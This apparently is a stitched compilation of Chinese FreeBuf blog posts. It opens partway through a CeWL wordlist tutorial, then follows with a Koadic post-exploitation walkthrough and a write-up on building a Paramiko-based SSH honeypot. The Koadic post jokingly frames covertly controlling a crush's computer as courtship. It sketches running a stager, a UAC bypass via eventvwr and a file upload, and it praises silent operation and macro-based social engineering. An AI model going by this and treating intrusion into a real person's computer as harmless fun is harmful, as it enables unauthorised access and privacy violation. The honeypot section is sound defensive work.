    --count, -c: show the count for each word found             #展示发现的每个单词的数量

    Authentication

        --auth_type: digest or basic

        --auth_user: authentication username

        --auth_pass: authentication password

    Proxy Support

        --proxy_host: proxy host

        --proxy_port: proxy port, default 8080

        --proxy_username: username for proxy, if required

        --proxy_password: password for proxy, if required

    Headers

        --header, -H: in format name:value - can pass multiple

    --verbose, -v: verbose

    URL: The site to spider.

下面用firet少帅力少帅力est网站做演示,演示其他网站我怕被请喝茶

如果显示进度就用-v参数,这里演示我只爬取深度设为1

Kali Linux下社工密码字典生成工具Cupp和Cewl教程

Kali Linux下社工密码字典生成工具Cupp和Cewl教程

完成以后查看字典如下:

Kali Linux下社工密码字典生成工具Cupp和Cewl教程

*本文作者:少帅力(少帅),转载请注明来自FreeBuf.COM

“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic

*本文原创作者:Barshanjiun(QQ:3532525200),属于FreeBuf原创奖励计划,禁止转载。

koadic是在DEFCON上的一个后渗透工具,虽然类似msf 但是它是一款 js/vbs 远控,模块也蛮多的,涉及的功能也很全面 算是“居家旅行,杀人越货”必备良品了

YY一个场景你心仪女神(翠花)很久了 苦于无法表明自己的心意,今天的一场沙龙给了你和女神的电脑一次亲密接触的机会“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic  正犹豫该怎样通过电脑向女神表明心意时,好友钢蛋就来上线送提示了。并掏出了降龙十八掌 .……呸,大宝剑(koadic)“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic

废话不多说,开始!

0×1  安装   git clone https://github.com/zerosum0x0/koadic.git

0×2  使用   ./koadic

0×3  举个栗子

“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic

“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic

设置IP 和 端口看一眼没错直接run 就行

这里有个小坑 有可能会出现UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xe5 in position 108: ordinal not in ran

换成utf-8就可以了 还不行的话也有可能是靶机的问题 

在靶机上执行

“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic

已经拿到了(虽然更想拿到翠花的心)

“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic 

“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic

但是现在没有权限 并不能干一些羞羞的事情 所以接着就要bypass了

“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic

这里我选eventvwr 其实这两个都可以  不过要注意有时候第一个会打开事件查看器 

同样的 设置好参数就可以了

“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic

“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic

接下来脸红的你拿出了早已写好的情书 表白信传到了女神的电脑上

“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic 

“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic

女神无意之间发现了这封告白信,于是…..

 并没有于是,你来咬我啊“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic

 

0×4  后记

这个远控不仅可以通过TLS/SSL加密,在后台静默运行也会使攻击更加透明。模块从bypass,哈希和密码的收集以及注入和上传下载文件 基本满足日常生活 搞事的需要,而且是开源的,动手能力强的小伙伴也可以自己加东西 。

对于使用的场景 我觉得通过社工(就比如上面的栗子)更能发挥这个工具的威力 通过IE和word宏比起cmd命令也更容易让人“中招”。最后 祝大家七夕快乐

“大宝剑”的用法:玩玩DEFCON后渗透工具Koadic

*本文原创作者:Barshanjiun(QQ:3532525200),属于FreeBuf原创奖励计划,禁止转载。

基于Paramiko的高交互SSH蜜罐

*本文原创作者:addadd,本文属FreeBuf原创奖励计划,未经许可禁止转载

起因

目前较流行的SSH蜜罐有中交互的kippo cowire,高交互的honssh,都是基于twisted框架。在用这些蜜罐的时候想起来之前看python黑帽子用过paramiko库,非常好用,既能当ssh client又能当ssh server,模块的文档也非常详细,所以产生了基于paramiko写一个SSH高交互蜜罐的想法。

SSH蜜罐

低交互蜜罐主要实现了部分SSH协议,用于记录黑客爆破ssh的密码和入侵情报。

中交互蜜罐会给黑客模拟众多命令和返回结果,但是总是可以找到破绽,达到一条命令识别的效果。

高交互蜜罐要将系统做的更加逼真,所以用了一个真实存在的操作系统用于执行黑客的命令,但是SSH通信又是加密的,所以蜜罐需要能够代理SSH并记录黑客的交互,也就是它需要做到:

  1. 完整的提供ssh各项功能

  2. 获取入侵者要执行的交互或命令

  3. 与其他主机交互并执行命令

  4. 将得到的结果返回给入侵者

  5. 记录入侵者的所有行为

  6. 及时通知蜜罐管理人员

高交互要求

TCP服务器

paramiko模块提供ssh server服务需要一个传入已经建立连接的socket

因此直接使用了python自带的SocketServer模块的多线程tcp服务器ThreadingTCPServer

SSH服务

通过重写paramiko的ServerInterface类的各个方法,使一个正常的SSH Server变为一个SSH蜜罐

蜜罐要提供完整的SSH服务,也就是至少要提供:

认证(auth)

  1. 只提供password方式的认证

获取Shell并执行命令(shell)

  1. 最常用的ssh使用方式

单次执行命令(exec)

  1. 不会向系统请求shell,只执行单条命令

  2. 类似ssh root@server ‘netstat -autpn’

  3. scp命令实际上使用的是exec通道

  4. 因此可将scp传输的文件从exec通信中解析出来

正向端口转发(direct)

  1. SSH服务方向与端口转发服务方向相同

  2. ssh -Nf -L 8000:localhost:80 root@server

  3. 访问本地8000即为访问server的80

反向端口转发(reverse)

  1. SSH服务方向与端口服务方向相反

  2. ssh -Nf -R 8000:localhost:80 root@server

  3. 访问server的8000即为访问本地的80

正向SOCKS5代理

  1. SSH服务方向与代理服务方向相同

  2. ssh -Nf -D 0.0.0.0:1080 root@server

  3. 实际上代理每一个连接调用一次direct正向端口转发

SFTP服务

  1. 由于SSH提供了隧道能力,其他不安全的明文协议可基于ssh隧道提供更安全的服务

  2. paramiko提供了subsystem来提供对基于SSH隧道的协议支持

  3. 由于大多数SSH服务器都提供了SFTP子系统,所以作为SSH蜜罐SFTP也要支持,还要能够保存下来黑客上传的文件。

Wetland

wetland是这个蜜罐的名字,起的比较随意。

github地址 https://github.com/ohmyadd/wetland

Docker

docker作为轻量级虚拟化工具,很方便又提供了隔离能力

有些ssh蜜罐利用docker的python api,为每一个入侵者建立一个新的sshd容器

wetland没有采用这样的方式,一方面因为懒。。另一方面觉得这样做有些缺点

在wetland公网测试的过程中,发现入侵的往往是一个团队,会从不同的ip登陆,如果采用上述的方式很可能出现两人同时在线却找不到对方的情况,这样会暴露蜜罐服务

所以wetland简单的使用手动建立的一个sshd容器,不管谁登陆都能看到前人留下的痕迹

必要时可导出当前的docker容器取证,重建容器、更换公网ip,这样又是一条好汉(蜜罐)了

Auth

wetland只采用了password认证,方便攻击者爆破

服务器返回允许的认证方式使用paramiko.ServerInterface的get_allowed_auth方法

若认证成功会通过output插件通知管理者,通知方式我喜欢bearychat,还可以是email、短信之类的

Shell

当攻击者认证成功后可以请求一个shell

此时wetland会另开线程保持攻击者的shell和ssh容器shell间的通信。

在转发数据的同时会将其记录进shell.log中,可通过后文介绍的playlog脚本重放查看

Exec command

exec request只执行一条命令,会打开三条通道:stdin stdout stderr

如果命令立即执行完毕,三条通道会直接关闭

scp有自己的简单的协议格式,并通过这三条通道传输文件

wetland不会在exec通信进行中实时解析文件,而是通过playlog脚本解析出exec.log中攻击者上传的文件,并保存到相应的文件夹

Direct forward & Socks forward

执行ssh -fN -L 8000:localhost:80 8000:localhost:80 xxx操作后,实际只在本地开启服务器并监听8000端口

当有程序连接8000端口时,ssh客户端才会发送一个direct_tcpip_request

当收到一个request,正常的ssh服务器判断目的ip的目的端口(localhost:80)可以连接时,会建立两者间的通信

当收到一个request,wetland蜜罐会向ssh容器发送相同的请求,如果成功就建立并记录两者间的通信

Socks代理与正向端口转发的区别在于,代理每次请求访问的ip、端口可以是不同的

Reverse forward

执行ssh -fN -R 8000:localhost:80 xxx操作后,实际只在server端监听了8000端口

与正向端口转发类似,wetland只转发并记录通道中的通信

SFTP

wetland的sftp模块主要重写SFTPServerInterface

主要将入侵者的请求翻译为wetland作为sftp客户端的相应函数,在ssh容器中执行并记录

如果攻击者通过SFTP上传了文件,wetland会另外保存一份在download文件夹

Network

ssh代理的一个弊端就是,当在ssh容器中查看网络连接,比如netstat命令,看到的会是wetland主机的IP

当时意识到问题后没有想出好的解决办法,后来查看honssh的wiki发现他已经找到了解决方案,叫做高级网络设置

具体操作是为每个攻击者建立一个虚拟网卡,ip为随机值叫做fake ip

然后利用iptables的SNAT和DNAT,修改fake ip和ssh容器间tcp 22端口流量的src和dst,其他的通信走正常的路由,这样一来ssh容器中看到的ssh连接的源地址和攻击者的ip就一样了

wetland和ssh容器间建立socket连接前,需要先有一个bind操作 sock.bind((fake_ip, haker_port))

最后尽管ifconfig看到的ip是内网的,这也是比较正常的,外网的请求都是转发进来的

Playlog Clearlog

由于有的ip只爆破的密码或爆破成功但没有登陆执行命令,这样的日志还不在少数

util文件夹中的clearlog.py工具,可清理log文件夹,只留下含有实际操作的日志,并把用于爆破的账号密码集中整理保存

util文件夹中的playlog.py可以重放入侵者的各种命令、流量

重放日志分为四类,shell、exec、direct、reverse

shell类会输出所有ssh服务返回的字符,也就是能看到所有入侵者能看到的字符,输出分割为单条命令,回车输出下条命令的结果

exec类会解析保存log中所有通过scp传输的文件,并且打印所有的命令和结果

reverse、direct类会打印出两个方向的通信内容

安装

可以查看github上的README,只需要安装所需的python库,并选择性的配置p0f、通知插件等额外功能就可以了

效果

我部署了一个wetland蜜罐在腾讯云学生机上,四五天可以捕获这么多扫描或攻击

基于Paramiko的高交互SSH蜜罐

经过clearlog脚本处理后,剩下有效入侵ip

基于Paramiko的高交互SSH蜜罐

使用playlog脚本,可以重放exec.log

基于Paramiko的高交互SSH蜜罐

可以看到入侵者下载了一波脚本,每个脚本都是另外下载一批木马,适配了各种架构

基于Paramiko的高交互SSH蜜罐

逆向的小伙伴可以分析一波

今天看文章发现,360天眼团队已经在六月份报告过46.218.149.85这个法国ip了

这个服务器是作为各种恶意程序的下载服务器,微步在线上也有相应记录

最后

这个项目只是当初的一个想法,目前还在慢慢完善

如果有问题希望能发邮件给我,ohmyadd@gmail.com,我会及时回复哒

*本文原创作者:addadd,本文属FreeBuf原创奖励计划,未经许可禁止转载